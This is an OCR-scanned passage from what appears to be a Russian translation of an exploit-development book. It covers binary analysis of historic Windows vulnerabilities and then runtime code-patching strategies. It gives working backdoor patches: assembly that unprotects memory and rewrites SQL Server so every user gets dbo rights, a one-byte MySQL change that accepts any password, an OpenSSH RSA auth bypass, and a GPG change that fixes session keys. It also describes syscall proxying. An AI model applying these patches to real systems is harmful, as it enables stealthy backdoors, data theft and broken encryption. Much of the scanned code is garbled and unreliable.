"SOFTWAREWMicrosoftWMicrosoft SQL Server"
Примеры двоичных уязвимостеи 317 push offset aSSMssqlserverC . "Us&s\\MSSQLServer\\CurrentVersion" lea eax, [ebp+var_84] push eax call ds.sprintf add esp, lOh Переменная var_24C8 содержит пакетные данные, прочитанные из сети. Размер .ггих данных может достигать 1024 байт, тогда как переменная var_84 представляет 128-байтовый буфер в локальном стеке. Последствия операции очевидны, и при анализе двоичного файла подобные уязвимости хорошо видны. Уязвимость SQL Server Hello, обнаруженная Дэвидом Айтелом, также является результатом непроверенной строковой операции — в данном случае это просто вызов функции strcpy: mov eax. [ebp+arg4] add eax. [ebp+var_218] push eax lea ecx. [ebp+var_214] push ecx call strcpy add esp. 8 Приемный буфер var_214 занимает 512 байт в локальном стеке, а исходная строка просто содержит данные пакета. Как это часто бывает, такие элементарные ошибки дольше сохраняются в программах с закрытыми исходными текстами, доступными только в двоичном виде. Уязвимость LSD RPC-DCOM Печально известная и широко используемая уязвимость, обнаруженная группой LSD (Last Stages of Delirium) в интерфейсах RPC-DCOM, стала результатом непроверяемого цикла копирования строки при выделении имен серверов из путей в формате UNC. Следующий цикл копирования в памяти, находящийся в библиотеке rcpss.dll, представляет очевидную угрозу для безопасности. mov ax. [еах+4] стр ах. 'V jz short loc_761AE698 sub edx. ecx loc_761AE689 mov [ecx]. ax inc ecx inc ecx mov ax. [ecx+edx] cmp ax. 'V jnz short loc_761AE689 UNC-строка задается в формате \\сервер\ресурс\путъ и передается в кодировке с широкими символами. Приведенный цикл пропускает первые А байта (символы \\) и копирует данные в приемный буфер вплоть до обнаружения завершающего обратного слеша (символа \), без какой-либо проверки ошибок. Подобные циклические конструкции часто являются источником уязвимостеи, связанных с перезаписью содержимого памяти.
318 Глава 16. Двоичный анализ Уязвимость IIS WebDAV Уязвимость IIS WebDAV, опубликованная в Microsoft Security Bulletin MS03- 007, была выявлена не аналитиками, работающими в области безопасности, а злоумышленниками. Уязвимость стала результатом 16-разрядного целочисленного переполнения, нередко встречающегося в строковых функциях базовой библиотеки Windows времени исполнения. В функциях используются типы строковых данных Rtl- InitUnicodeString и RtllnitAnsiString с полем длины, которое представляет собой 16-разрядное число без знака. Если передать такой функции строку, длина которой превышает 65 535 символов, произойдет переполнение. Уязвимость IIS WebDAV возникает в результате передачи RtlDosPathNameToNtPathName_U строки длиной свыше 64 Кбайт; это приводит к тому, что очень длинная строка имеет малое значение поля размера. Эта довольно нетривиальная ошибка, и скорее всего, она была выявлена не двоичным анализом, а другими методами. Тем не менее, при наличии опыта и свободного времени вы научитесь обнаруживать подобные ошибки. Базовая структура данных строки ANSI или Unicode выглядит так: typedef struct UNICODE_STRING { unsigned short length, unsigned short max"imum_length, wchar *data, }. Уязвимость создастся следующим фрагментом кода RtllnitUnicodeString: mov edi. [esp+arg_4] mov edx, [esp+arg_0] mov dword ptr [edx], 0 mov [edx+4], edi or edi. edi jz short loc_77F83C98 or ecx. OFFFFFFFFh xor eax, eax repne scasw not ecx shl ecx. 1 mov [edx+2]. ex // Возможное усечение dec ecx dec ecx mov [edx], ex // Возможное усечение Длина строки с широкими символами определяется командой repne scasw, умножается на 2, а результат сохраняется в 16-разрядном поле структуры. Внутри функции, вызванной RtlDosPathNameToNtPathNarne_U, встречается следующий код: mov dx, [ebp+var_30] movzx esi. dx mov eax, [ebp+var_28] lea ecx. [eax+esi] mov [ebp+var 5C]. ecx
Итоги 319 cmp ecx. Lebp+arg_4] jnb loc_77F8E771 В этом случае var_28 — другая длина строки, a var_30 — структура UNIC0DE_ STRING с данными нападающего, содержащая усеченное 16-разрядное поле длины. Если сумма двух длин строк меньше arg_4 (длины приемного буфера в стеке), две строки копируются в буфер. Поскольку размер одной из строк значительно превышает объем зарезервированного пространства в стеке, происходит переполнение. Цикл копирования символов выглядит достаточно стандартно и легко распознается: mov add mov add loc_ mov mov test JZ cmp JZ cmp JZ cmp jnz jmp [ecx], dx ecx. ebx [ebp+var_60]. ebx [ebp+var 60], ebx 77F8AE6E edx, [ebp+var_60] dx, [edx] dx, dx short loc_77F8AE42 dx, ax short loc 77F8AE42 dx. 7" short loc 77F8AE42 dx, ' ' short loc 77F8AE63 loc 77F8B27F Строка копируется в приемный буфер вплоть до обнаружения точки (.), слеша (/) или нулевого байта. Хотя эта конкретная уязвимость приводила к записи по направлению к вершине стека и аварийному завершению программного потока, замена указателя на обработчик исключений SEH позволяла организовать выполнение произвольного кода. Итоги В продуктах с закрытыми исходными текстами продолжают встречаться многие уязвимости, давно исчезнувшие в области открытых текстов. Многие уязвимости такого рода требуют двоичного анализа, в то время как большинство программ ограничиваются поверхностным тестированием или несложным фаз- зингом, поэтому уязвимости остаются незамеченными. Хотя двоичный анализ сопряжен с дополнительной работой, этот процесс ненамного сложнее анализа исходных текстов. Просто он требует дополнительного времени. Постепенно наиболее очевидные уязвимости выявляются фаззингом и ликвидируются в коммерческих программах, но для устранения более тонких дефектов приходится заниматься углубленным двоичным анализом. Со временем двоичный анализ получит такое же распространение, как анализ исходных текстов — бесспорно, в этой области еще необходимо многое сделать.
Часть IV Дополнительные материалы Книга была бы неполной без материалов более высокого уровня. В главе 17 представлены новые стратегии использования внедряемого кода, которые позволяют сделать много больше, чем просто запустить привилегированный командный процессор. Среди усовершенствованных стратегий применения внедряемого кода можно отметить удаленную блокировку управления доступом в работающей программе. Заставить готовый эксплойт работать в реальных условиях, вне полностью контролируемой рабочей среды, бывает нелегко даже самому искусному хакеру. В главе 18 представлены некоторые полезные навыки, необходимые для этого. Далее в главе 19 рассматривается тема атаки на конкретные реляционные СУБД, такие как Oracle, DB2 и SQL Server. Если учесть, что на многих серверах работает только одно основное приложение, знание уязвимостей СУБД может оказаться не менее полезным, чем знание уязви- мостей базовой операционной системы. В завершение книги рассматривается относительно новое явление — уязвимости ядра. В главах 20 и 21 представлены методы выявления и эксплуатации уязвимостей ядра в операционных системах OpenBSD и Solaris.
ГЛАВА 17 Альтернативные стратегии При просмотре архивов внедряемого кода чаще всего встречаются вариации на несколько основных тем (в зависимости от операционной системы). о Unix: • execve /bin/sh; • привязка к портам /bin/sh; • пассивное подключение /bin/sh; • setuid; • нарушение chroot. о Windows: • WinExec; • пассивное подключение с использованием CreateProcess cmd.exe. В этом списке представлены основные типы внедряемого кода, информация о которых чаще всего публикуется в списках рассылки и па веб-сайтах, посвященных теме безопасности. Существует немало факторов, усложняющих разработку традиционного вне/фяемого кода, однако время от времени возникают ситуации, в которых требуется сделать нечто нестандартное — возможно, потому что цели можно достигнуть более прямым путем, или некоторый защитный механизм блокирует традиционный внедряемый код... или просто потому, что вы предпочитаете более интересные и нестандартные методы. Традиционный внедряемый код в этой главе не рассматривается. Вместо этого мы сосредоточимся на нетривиальных и необычных аспектах выполнения произвольного кода в целевом процессе — скажем, на модификации кода процесса во время его выполнения, на прямых манипуляциях с операционной системой для добавления пользователей или изменения конфигураций, на скрытой передаче информации с целевого хоста. Здесь также представлены некоторые полезные приемы по работе с внедряемым кодом, в основном для платформы Windows, такие, как сокращение объема внедряемого кода, решение проблем с обновлениями Service Pack и независимостью от версии.
322 Глава 17. Алыорнашиные стратегии Модификация программы Если целевая программа достаточно сложна, вместо простого возврата командного процессора иногда бывает полезнее парализовать ее систему безопасности. Например, при атаке на сервер баз данных нападающего обычно интересует информация. От командного процессора особого толку не будет, потому что нужные сведения спрятаны где-то в огромных файлах данных, которые могут оказаться недоступными (потому что процесс СУБД установил для них монопольную блокировку). С другой стороны, при наличии необходимых привилегии данные могут быть легко извлечены SQL-запросами. В таких ситуациях лучше воспользоваться правкой кода на стадии его исполнения. В своей статье «Violating Database Security Mechanisms» (www.nextgenss.com/ papers/violating_database_security.pdf) Крис Анли описал 3-байтовую «заплатку» для СУБД Microsoft SQL, которая фактически предоставляет каждому пользователю привилегии dbo, то есть владельца базы данных (аналог привилегированного пользователя с правами root для баз данных). Заплатка устанавливается традиционным переполнением буфера или атакой форматной строки — мы рассмотрим пример, приведенный в статье, чтобы вы получили о нем представление. Интересная особенность заплатки заключается в том, что она одинаково легко применяется как для модификации двоичного файла на диске, так и для модификации работающего процесса в памяти. С точки зрения нападающего недостаток правки двоичного файла состоит в том, что она проще обнаруживается (антивирусными сканерами, механизмами проверки целостности файлов типа TripWire и т. д.). Также стоит помнить, что атаки такого рода часто применяются при организации «черного хода» для другой, более мощной сетевой атаки. 3-байтовая модификация SQL Server Наша цель — найти способ парализовать механизм управления доступом к базе данных, чтобы после этого проходили любые попытки чтения или записи произвольного поля таблицы. Конечно, проводить статический анализ всей кодовой базы SQL Server нереально. Небольшой сеанс предварительной отладки укажет нам правильное направление. Для начала потребуется запрос, который активизирует необходимые механизмы безопасности. Попытка выполнения следующего запроса завершается неудачей, если пользователь не является системным администратором: select password from sysxlogins Поэтому мы запускаем Query Analyzer (утилите!, входящая в поставку SQL Server) и отладчик, и выполняем запрос в качестве непривилегированного пользователя. На экране появляется диалоговое окно с информацией об исключении Microsoft Visual C++. Закрыв окно, мы выбираем Debug/Go и поручаем
3-байтован модификация SQL Server 323 обработку исключения SQL Server. Возвращаясь к Query Analyzer, мы видим сообщение об ошибке: SELECT permission denied on object 'sysxloqins', database 'master', owner 'dbo' Просто из любопытства мы попробовали запустить запрос в качестве пользования sa. Исключения не произошло. Очевидно, механизм управления доступом инициирует исключение C++, когда пользователю отказано в доступе к таблице. Этот факт упростит процесс реконструкции. Далее мы попытаемся проанализировать код и найти точку, в которой программа решает, нужно инициировать исключение или нет. Поиск приходится выполнять методом проб и ошибок, но после нескольких неудачных попыток мы обнаруживаем следующее: 00416453 Е8 03 FE 00 00 call FHasObjPermissions @042625b) При отсутствии необходимых разрешений управление передается команде 00613D85 Е8 AF 85 Е5 FF call ex_raise @046c339) ПРИМЕЧАНИЕ В данном случае у нас имеется информация о символических именах, предоставленная Microsoft в виде файла sqlserver.pdb; это редкая роскошь. Естественно, здесь важен код функции FHasObjPermissions. Анализируя ее, мы обнаруживаем: 004262ВВ Е8 94 D/ FE FF call ExecutionContext Uid @0413a54) 004262С0 66 3D 01 00 emp ax. offset FHas0bjPernnssions+0B7h @04262c2) 004262C4 OF 85 AC 0C IF 00 jne FHas0bjPermissions+0C7h @0616f76) Здесь выполняются следующие действия: о получение идентификатора пользователя (U1D); о сравнение UID с 0x0001; о если значение отлично от 0x0001, переход (после дополнительных проверок) к коду, генерирующему исключение. Резонно предположить, что идентификатор пользователя 1 имеет специальное значение. Следующий запрос к таблице sysusers показывает, что UID 1 соответствует владельцу базы данных (dbo): select * from sysusers Из документации SQL Server (http://doc.ddart.net/mssql/sql2000/html/setupsql/ad_ security_9qyh.htm) мы узнаем следующее: Подразумевается, что пользователь dbo обладает разрешениями на выполнение любых операций с базой данных. Любому участнику фиксированной роли sysadmin, работающему с базой данных, в каждой базе данных ставится в соответствие специальный пользователь dbo. Кроме того, любой объект, созданный любым участником фиксированной роли sysadmin, автоматически принадлежит dbo. Естественно, мы хотим обладать правами UID 1 Маленькая ассемблерная «заплатка» легко предоставит необходимые привилегии.
324 Глава 17. Альтернативные стратегии При просмотре кода ExecutionContext::UID выясняется, что стандартная последовательность выполнения кода выглядит достаточно прямолинейно: ?Ui d@Executi onContexWAEFXZ 00413А54 56 push esi 00413A55 8B Fl mov esi.ecx 00413A57 8B 06 mov eax.dword ptr [esi] 00413A57 8B 40 48 mov eax.dword ptr [eax+48h] 00413A5C 85 CO test eax.eax 00413A5E OF 84 6E 59 24 00 je ExecutionContext Uid+OCh @06593d2) 00413A64 8B 0D 70 2B A0 00 mov ecx.dword ptr [_tls_index@0a02b70)] 00413A6A 64 8B 15 2C 00 00 00 mov edx.dword ptr fs-[2Ch] 00413A71 8B ОС 8А mov ecx.dword ptr [edx+ecx*4] 00413A74 39 71 08 cmp dword ptr [ecx+8].esi 00413A77 OF 85 5B 59 24 00 jne ExecutionContext::Uid+2Ah @06593d8) 00413A7D F6 40 06 01 test byte ptr [eax+6].l 00413a81 74 1A je ExecutionContext .Uid+3Bh @0413a9d) 00413A83 8B 06 mov eax.dword ptr [esi] 00413A85 8B 40 48 mov eax.dword ptr [eax+48h] 00413A88 F6 40 06 01 test byte ptr [eax+6].l 00413A8C OF 84 6A 59 24 00 je ExecutionContext--Uid+63h @06593fc) 00413A92 8B 06 mov eax.dword ptr [esi] 00413A94 8B 40 48 mov eax.dword ptr [eax+48h] 00413A97 66 8B 40 02 mov ax.word ptr [eax+2] 00413A9B 5E pop esi 00413A9C C3 ret Нас интересует строка 00413A97 66 8B 40 02 mov ax.word ptr [eax+2] Здесь в регистр АХ заносится наш «волшебный» код UID. Итак, вспомните: мы обнаружили в FHasObjPermissions код вызова функции ExecutionContext::UID, в котором жестко закодированному идентификатору UID 1 предоставляется особый уровень доступа. Мы можем сделать так, чтобы любой пользователь обладал UID 1, заменив строку 00413А97 66 8В 40 02 mov ax.word ptr [eax+2] Эта строка заменяется новой командой: 00413А97 66 8В 01 00 mov ax.offset ExecutionContext- Uid+85h @0413а99) Фактически данная команда эквивалентна команде mov ахД. При проверке результата модификации становится очевидно, что любой пользователь теперь может выполнить команду select password from sysxlogins По крайней мере, эта модификация предоставляет неограниченный доступ к хешу паролей, а следовательно (с применением утилиты подбора паролей) — к паролям всех учетных записей в базе. При проверке доступа к другим таблицам выясняется, что мы теперь можем производить выборку, вставку, обновление и удаление из любой таблицы базы данных. И для этого потребовалось изменить всего 3 байта кода SQL Server! Итак, мы рассмотрели логику работы заплатки. Теперь необходимо написать программу, которая бы вносила изменения, не вызывая ошибок. В SQL Server
3-6пйюван модификация SQL Server 325 и:ик»стен целый ряд вариантов переполнения с возможностью выполнения произвольного кода и дефектов форматной строки; в настоящей главе эти темы подробно не рассматриваются. Тем не менее, при написании кода возникает ряд проблем, о которых стоит упомянуть. Прежде всего, программа не может просто переписать код в памяти. Windows NT контролирует доступ к страницам памяти, и страницы кода обычно помечаются атрибутом PAGE_EXECUTE_READ; попытка модификации приводит к нарушению доступа. Проблема легко решается при помощи функции VirtualProtect: ret = VirtualProtect ( address, num_bytes_to_change, PAGE_EXECUTE_READWRITE, &old_protection_value). Программа вызывает функцию VirtualProtect, чтобы разрешить запись в страницу, после чего заменяет байты в памяти. Если модифицируемые байты находятся в DLL, они могут динамически перемещаться в памяти. Кроме того, адрес, по которому производится модификация, зависит от уровня установленных обновлений SQL Server, поэтому программа должна попытаться найти байты в памяти вместо того, чтобы просто вносить изменения по абсолютному адресу. В следующей программе жестко закодированы адреса для Windows 2000 Service Pack 2. Код предельно упрощен и предназначен только для демонстрационных целей: next found mov ecx, mov edx. mov eax, cmp eax. je end inc eax cmp dword je found jmp next cmp dword 0xc35e0240 0x8b664840 0x00400000 0x00600000 ptr[eax], ptr[eax + je foundboth jmp next foundboth mov ebx.eax push esp push 0x40 push 8 push eax mov eax, call eax mov eax, mov dword mov dword xor eax. call eax 0x77e8a6ec ebx ; ptr[eax],( 1 ptr[eax+4; eax edx 4]. ecx , Сохранить eax . VirtualProtect, затем запись . PAGE_EXECUTE_READWRITE . Количество байтов для снятия защиты , Начальный адрес снятия защиты . Адрес VirtualProtect . Возврат адреса )хЬ8664840 ].0хс35е0001 . SQL Server нормально справляется с исключением . поэтому нам не нужно беспокоиться , 0 h <орректном продолжении
326 Глава 17. Альгорнагионыс стратегии 1 -битовая модификация MySQL Чтобы представить читателю еще один (ранее не публиковавшийся) пример применения методики, описанной в предыдущем разделе, мы рассмотрим небольшую модификацию MySQL. Она изменяет механизм удаленной аутентификации так, что сервер принимает любой пароль. А это означает, что при наличии удаленного доступа к серверу MySQL вы сможете аутентифицироваться в качестве любого допустимого удаленного пользователя, не зная его пароля, Еще раз подчеркнем, что подобные действия полезны только в некоторых ситуациях — а именно, когда требуется: о создать в системе незаметный «черный ход»; о использовать возможности приложения/демона по интерпретации сложного набора данных; о скрытно преодолеть защиту системы. Время от времени бывает удобнее использовать «законные» каналы взаимодействия, изменяя атрибуты безопасности таких каналов. В примере с SQL Server мы взаимодействуем с системой в качестве обычного пользователя, но благодаря заплатке имеем возможность читать и изменять любые данные. Если атака действительно хорошо продумана, в журналах будет зарегистрировано выполнение рядовых операций рядовыми пользователями. Впрочем, на практике привилегированный командный процессор чаще оказывается более эффективным решением (хотя и менее изящным). Чтобы понять материал этого раздела, вам потребуются исходные тексты MySQL; их можно загрузить с сайта www.mysql.com. На момент написания книги последней стабильной версии был присвоен номер 4.01.14b. В MySQL используется довольно экзотический механизм аутентификации, в котором применяется следующий протокол удаленной аутентификации: 1. Клиент создает подключение TCP. 2. Сервер отправляет оповещение и 8-байтовый вызов. 3. Клиент шифрует вызов, хешируя свой пароль (8-байтовая величина). 4. Клиент передает полученные зашифрованные данные серверу по ТСР-под- ключению. 5. Сервер проверяет зашифрованные данные функцией check_scramble из файла sql\password.c. 6. Если полученные данные соответствуют ожиданиям сервера, функция check_ scramble возвращает 0. В противном случае check__scramble возвращает 1. Соответствующий фрагмент check_scramble выглядит так: while (^scrambled) г \ if (*scrambled++ '= (char) (*to++ " extra)) return 1. /* Неверный пароль */ } return 0,
Аутешификация OpenSSH RSA 327 Следовательно, необходимая модификация очень проста. Следует привести лот фрагмент к следующему виду: while (^scrambled) { if (*scrambled++ != (char) (*to++ * extra)) return 0; /* Неверный пароль, но это неважно :о) */ } return 0; В результате любая учетная запись, которая может использоваться для удаленного доступа, будет работать с любым паролем. С MySQL можно сделать еще много интересного. В частности, можно реализовать модификацию, аналогичную той, что описана в предыдущем примере с SQL Server (любой пользователь работает с правами dbo). Код компилируется в байтовую последовательность следующего вида (в формате MS-ассемблера): ЗВ С8 74 04 ВО 01 ЕВ 04 ЕВ С5 32 СО стр je mov jmp jmp xor ecx, eax D байта вперед) al.l D байта вперед) E9 байт назад) al.al Нас интересует команда mov al,l. Если заменить ее командой mov al,0, любой пользователь сможет работать с любым паролем. Таким образом, достаточно изменить 1 байт (пли строго говоря, 1 бит). При всем желании невозможно внести меньшие изменения, однако при этом полностью парализуется механизм удаленной аутентификации. Выбор способа внесения модификации в целевую систему остается читателю для самостоятельной работы. Исторически в MySQL существовало немало уяз- вимостей, обеспечивающих возможность выполнения произвольного кода; несомненно, со временем будут обнаружены и другие уязвимости. Впрочем, даже при отсутствии подходящего переполнения буфера модификацию можно применить к двоичному файлу, поэтому о ней стоит знать. Аутентификация OpenSSH RSA Описанный принцип применим почти к любому механизму аутентификации. Для примера возьмем механизм аутентификации OpenSSH RSA. После недолгих исследований мы обнаруживаем следующую функцию: "int auth_rsa_verify__responsp(Key *key, BIGNUM ^challenge, u_char response[16]) { u_char buf[32], mdbuf[16]. MD5_CTX md. int len. /* Ие разрешать короткие ключи */
328 Глава 17. Альтернативные стратегии if (BN_num_bits(key->rsa->n) < SSH_RSA_MINIMUM_MODULUS_SIZE) { error("auth_rsa_venfy_response- RSA modulus too small- %6 < minimum %6 bits", BN_num_bits(key->rsa->n), SSH_RSA_MINIMUM_MODULUS_SIZE); return @); } /* Ответ - код MD5 суммы дешифрированного вызова и идентификатора сеанса */ Ten = BN_num_bytes(challenge). if den <= 0 || len > 32) fatal("auth_rsa_venfy_response- bad challenge length %d", len), memset(buf, 0. 32), BN_bn2bin(challenge, buf + 32 - len), MD5_Imt(&md); MD5_Update(&md. buf, 32); MD5_Update(&md, session_id. 16). MD5_Final(mdbuf. &md). /* Проверка ответа */ if (memcmp(response, mdbuf. 16) '= 0) { /* Неверный ответ */ return @); i /* Правильный ответ */ return(l), } Как и в предыдущем случае, мы довольно легко находим функцию, которая возвращает 1 или 0 в зависимости от того, успешно прошла аутентификация или нет. Правда, в случае OpenSSH придется изменять двоичный файл па диске, поскольку для аутентификации OpenSSH порождает дочерний процесс. И все же после замены команд return 0 на return 1 SSH-сервер позволяет провести аутентификацию любого пользователя с любым ключом. Другие стратегии модификации кода на стадии выполнения Прием модификации кода на стадии выполнения почти не описан в литературе, в основном потому что использовать привилегированный командный процессор гораздо эффективнее, а процесс разработки внедряемого кода оказывается более сложным (или по крайней мере, хуже известным). В частности, простои аспект модификации на стадии выполнения был реализован червем Code Red. Червь периодически подставлял в запись таблицы импорта IIS для функции TcpSockSend адрес кода червя, который возвращал строку «Hacked by Chinese!» вместо требуемого содержания. Такое решение было элегантнее перезаписи файлов, потому что логика выбора изменяемых файлов была бы довольно сложной, тогда как учешой записи, под которой работал IIS-сервер, могла бьпь запрещена запись в эти файлы. Другая интересная особенность Code Red (присущая большинству программ, ориентированных на мо-
Дру| ио стратегии модификации кода на стадии выполнения 329 дификацию на стадии выполнения) заключалась в том, что изменения бесследно исчезали сразу же после остановки и перезапуска процесса. Исчезновение модификаций, хранящихся в оперативной памяти, одновременно является и благословением, и проклятием нападающего. На различных платформах UNIX часто используются пулы рабочих процессов, которые обрабатывают запросы от клиентов, а потом прекращают свое существование. Например, подобным образом дело обстоит с Apache. Реализация модификаций в таких сценариях слегка изменяется, потому что срок существования экземпляра сервера с модифицированным кодом может оказаться относительно небольшим. В худшем (для нападающего) случае каждый экземпляр сервера обрабатывает ровно один клиентский запрос. В этом случае для последующих запросов модификация выполняться не будет. Впрочем, с точки зрения нападающего у пулов рабочих процессов есть и преимущество — доказательства его злодеяний почти сразу же исчезают. Помимо модификации схем аутентификации/авторизации, существуют и другие, более коварные подходы. Почти каждое защищенное приложение в той или иной степени полагается на криптографию, а почти каждый криптографический механизм в той или иной степени зависит от генератора случайных чисел. На первый взгляд кажется, что модификация генератора случайных чисел не будет иметь серьезных последствий для безопасности, но это впечатление обманчиво. Метод «плохой случайности» применим в любых ситуациях, в которых он может нарушить работу схемы шифрования. Иногда он позволяет обойти протоколы аутентификации вместе с шифрованием — в некоторых системах путем случайного вызова пользователь проходит аутентификацию, если он может определить значение вызова. Когда значение уже известно, систему аутентификации легко обмануть. Например, в приведенном примере с OpenSSH RSA обратите внимание на следующую строку: /* Ответ - код MD5 суммы дешифрированного вызова и идентификатора сеанса */ Если вызов будет известен заранее, то для предоставления правильного ответа не обязательно знать закрытый ключ. Поможет ли это обойти механизм аутентификации или нет — зависит от протокола, но по крайней мере вы получаете немалое исходное преимущество. Другие хорошие примеры встречаются среди более традиционных средств шифрования. Например, если удастся модифицировать чей-либо ключ GPG или PGP таким образом, чтобы сеансовые ключи сообщений оставались постоянными, вы сможете легко дешифрировать любое сообщение электронной почты, отправленное этим пользователем. Конечно, для этого необходима возможность перехвата электронной почты, и все же нам удалось преодолеть защиту, обеспечиваемую механизмом шифрования, за счет внесения небольшого изменения в одну функцию. В качестве примера рассмотрим модификацию GPG 1.2.2, основанную на «ухудшении» генератора случайных чисел.
330 Глава 17. Альтернативные стратегии Модификация GPG 1.2.2 После загрузки исходных текстов мы начнем с поиска по ключевым словам «session key» (сеансовый ключ). Так обнаруживается функция make_session_keyl которая вызывает функцию randomize_buffer для установки битов ключа. Функция randomize_buffer вызывает функцию get_random_bits, которая в свою очередь вызывает функцию read_pool (причем read_pool вызывается только из get_random_ bits, поэтому нам не нужно опасаться испортить другие части программы). Анализируя код read_pool, мы находим фрагмент, который читает случайные данные из пула в приемный буфер: /* Прочитать необходимые данные * Используем вспомогательный указатель, чтобы чтение * каждый раз осуществлялось с новой позиции */ while( length--) { *buffer++ = keypool[pool_readpos++], if( pool_readpos >= POOLSIZE ) pool_readpos = 0; pool_balance--; } Так как pooljreadpos является статической переменной, вероятно, ее состояние следует сохранить, поэтому модификация будет выглядеть так: /* Прочитать необходимые данные * Используем вспомогательный указатель, чтобы чтение * каждый раз осуществлялось с новой позиции */ while( length--) { *buffer++ = OxcO; pool_readpos++. if( pool_readpos >= POOLSIZE ) pool_readpos = 0; pool_balance--, } В результате все GPG-сообщения, зашифрованные с использованием этого двоичного файла, будут иметь одинаковые сеансовые ключи (независимо от алгоритма). Загрузка и запуск (проглет-сервер) Интересной разновидностью альтернативных стратегий является механизм, который в бесконечном цикле загружает внедряемый код и запускает его. Этот метод позволяет быстро и относительно легко передавать на сервер разные фрагменты внедряемого кода в зависимости от ситуации. Эти мини-программы часто называют проглетами (proglet) — по одному из определений, проглет представляет собой «наибольший объем кода, который пишется прямо "из головы", не нуждается в редактировании и правильно работает с первого раза» (по этому определению проглеты автора редко превышают объем в пару ассемблерных команд). Основные проблемы, связанные с проглетами:
Опосредованный вызов системных функций 331 о Несмотря на относительно небольшой объем, написание проглота может оказаться непростым делом, потому что проглеты должны писаться на ассемблере. о Не существует общего механизма для определения успеха или неудачи выполнения проглета (и даже простого получения от него выходных данных). о Если в проглете произойдет сбой, восстановить нормальную работу будет непросто. Даже с учетом всех перечисленных проблем механизм проглетов обладает преимуществами перед одноразовыми статическими решениями. Впрочем, иногда требуется более масштабный и динамичный подход — такой, как методика опосредованного вызова системных функций. Опосредованный вызов системных функций Как отмечалось в начале этой главы, в большинстве архивов внедряемого кода встречается множество незначительно различающихся фрагментов, выполняющих схожие функции. При проведении атак па базе внедряемого кода нередко возникают ситуации, в которых код непостижимым образом отказывается работать. Обычно нападающий делает разумное предположение относительно причин и ищет обходной путь. Например, если многократные попытки запустить cmd.exe пи к чему не привели, можно попробовать скопировать собственную версию cmd.exe на целевой хосг и попытаться запустить ее. А может быть, вы пытаетесь выполнить запись в файл, для которой (как выясняется) у вас нет необходимых разрешений; следовательно, нужно попытаться сначала повысить привилегии. Л может быть, код нарушения chroot по какой-то причине не желает работать. Проблему почти всегда приходится решать включением дополнительных ассемблерных заплаток или просто поиском другого пути на атакуемый компьютер. Тем не менее, существует решение одновременно универсальное, элегантное и эффективное в отношении размера внедряемого кода — опосредованный вызов системных функций. Методика опосредованного вызова была впервые представлена Тимом Ньюше- мом (Tim Ncwsham) и Оливером Фридриксом (Oliver Friedrichs), а затем получила дополнительное развитие в превосходной статье Максимилиано Касереса (Maximiliano Caceres) из Core-SDl (www.coresecunty.com/fiies/fiLes/ll/SyscaLlPro- xying.pdf). В этой методике внедряемый код в цикле вызывает системные функции по поручению нападающего и возвращает результаты. В табл. 17.1 показано, как это происходит. Таблица 17.1. Механизм опосредованного вызова системных функций Время Т= Клиентский хост Заглушка Сеть Посредник 0 Вызов заглушки 1 Упаковка параметров в буфер для пересылки по сети
332 Глава 17. Альтернативные стратегии Время Т= 2 3 4 5 6 7 8 9 10 Клиентский хост Возврат из заглушки Интерпретация результатов Следующий вызов. Заглушка Распаковка результатов Сеть Транспортировка данных Транспортировка данных Посредник Распаковка параметров Вызов системной функции Упаковка результатов для пересылки по сети Хотя опосредованный вызов не всегда возможен (из-за нахождения целевого хоста в сети), эта методика чрезвычайно полезна, так как нападающий может динамически определять выполняемые действия на основании данных, полученных от хоста. Допустим, при атаке на систему Windows не удается отредактировать некоторый файл. Мы проверяем текущее имя пользователя и выясняем, что работаем с правами низкопривилегированного пользователя. Определив, что хост уязвим для повышения привилегий на базе уязвимости именованных каналов, мы вызываем функции, необходимые для повышения уровня привилегий. В результате мы получаем системные привилегии. В общем случае возможно опосредованное выполнение всех действий процесса, работающего на нашем компьютере, с перенаправлением вызовов системных функций (или функций Win32 API в Windows) для выполнения на целевом компиляторе. Это означает, что мы фактически можем запустить любые необходимые программы через посредника, и соответствующие фрагменты кода будут выполнены на целевом хосте. Читатели, знакомые с RPC, заметят сходство между механизмом вызова системных функций и (более общими) механизмами RPC — и это не случайно, потому что при реализации опосредованного вызова приходится решать аналогичные проблемы. Более того, самая главная проблема в обоих случаях одинакова — продвижение (marshalling), или упаковка параметров системной функции в форму, которая бы обеспечивала их простое представление в линейном потоке данных. В сущности, в небольшом ассемблерном фрагменте мы реализуем очень маленький RPC-сервер. Существует пара разных подходов к реализации посредника: о Передача стека, вызов функции и возвращение стека. о Передача входных параметров в непрерывном блоке памяти, вызов функции и возвращение выходных параметров.
Опосредованный вызов системных функций 333 Первый способ прост, компактен и легко программируется, но сопряжен с неэффективным использованием канала (излишняя пересылка выходных данных с клиента на сервер) и плохо работает в тех случаях, когда возвращаемое значение не хранится в стеке, например, для функции GetLastError Windows. Хотя второй метод чуть сложнее, он лучше подходит для неудобных возвращаемых значений. Главным его недостатком является необходимость определения прототипов функций, вызываемых на удаленном хосте, чтобы клиент знал, какие данные нужно передавать. Сам посредник также должен уметь различать входные и выходные параметры, типы указателей, литералы и т. д. Вероятно, у тех, кто знаком с RPC, соответствующие определения будут сильно походить на инструкции языка IDL. Проблемы опосредованного вызова Наряду с достоинствами динамического характера, механизм опосредованного вызова обладает целым рядом недостатков, которые могут повлиять на решение о его применении в конкретной ситуации: о Проблемы с инструментарием. В зависимости от способа реализации могут возникнуть проблемы с подготовкой инструментов, которые должны правильно осуществлять продвижение для вызовов системных функций. о Проблемы с итерациями. Каждый вызов функции связан с двусторонней пересылкой данных. Для механизмов, включающих тысячи операций, это может быть довольно утомительно (особенно при нападении по сети с большим временем задержки). о Проблема параллельности. Трудно организовать параллельное выполнение двух и более операций. У всех перечисленных проблем имеются решения, но они обычно связаны с поиском обходных путей или принятием решений на архитектурном уровне. о Возможное решение первой проблемы — использование языка высокого уровня для написания всего инструментария и последующее опосредованное обращение для всех системных вызовов интерпретатора этого языка (будь то Perl, Python, PHP, Java и т. д.). Недостаток такого решения заключается в том, что у вас, вероятно, уже имеется очень большое количество постоянно используемых инструментов, которые могут отсутствовать в Perl или другом языке. о Возможные решения второй проблемы: • пересылка исполняемого кода (см. раздел, посвященный проглетам) для случаев, требующих большого количества итераций; • загрузка некоторой разновидности интерпретатора в целевой процесс с последующей загрузкой сценария (вместо фрагментов внедряемого кода). Очевидно, оба варианта достаточно неприятны. о Третья проблема была бы частично решена, если бы у нас была возможность породить дополнительный процесс посредника — но такая роскошь доступ на далеко не всегда. Более общее решение заключается в синхронизации
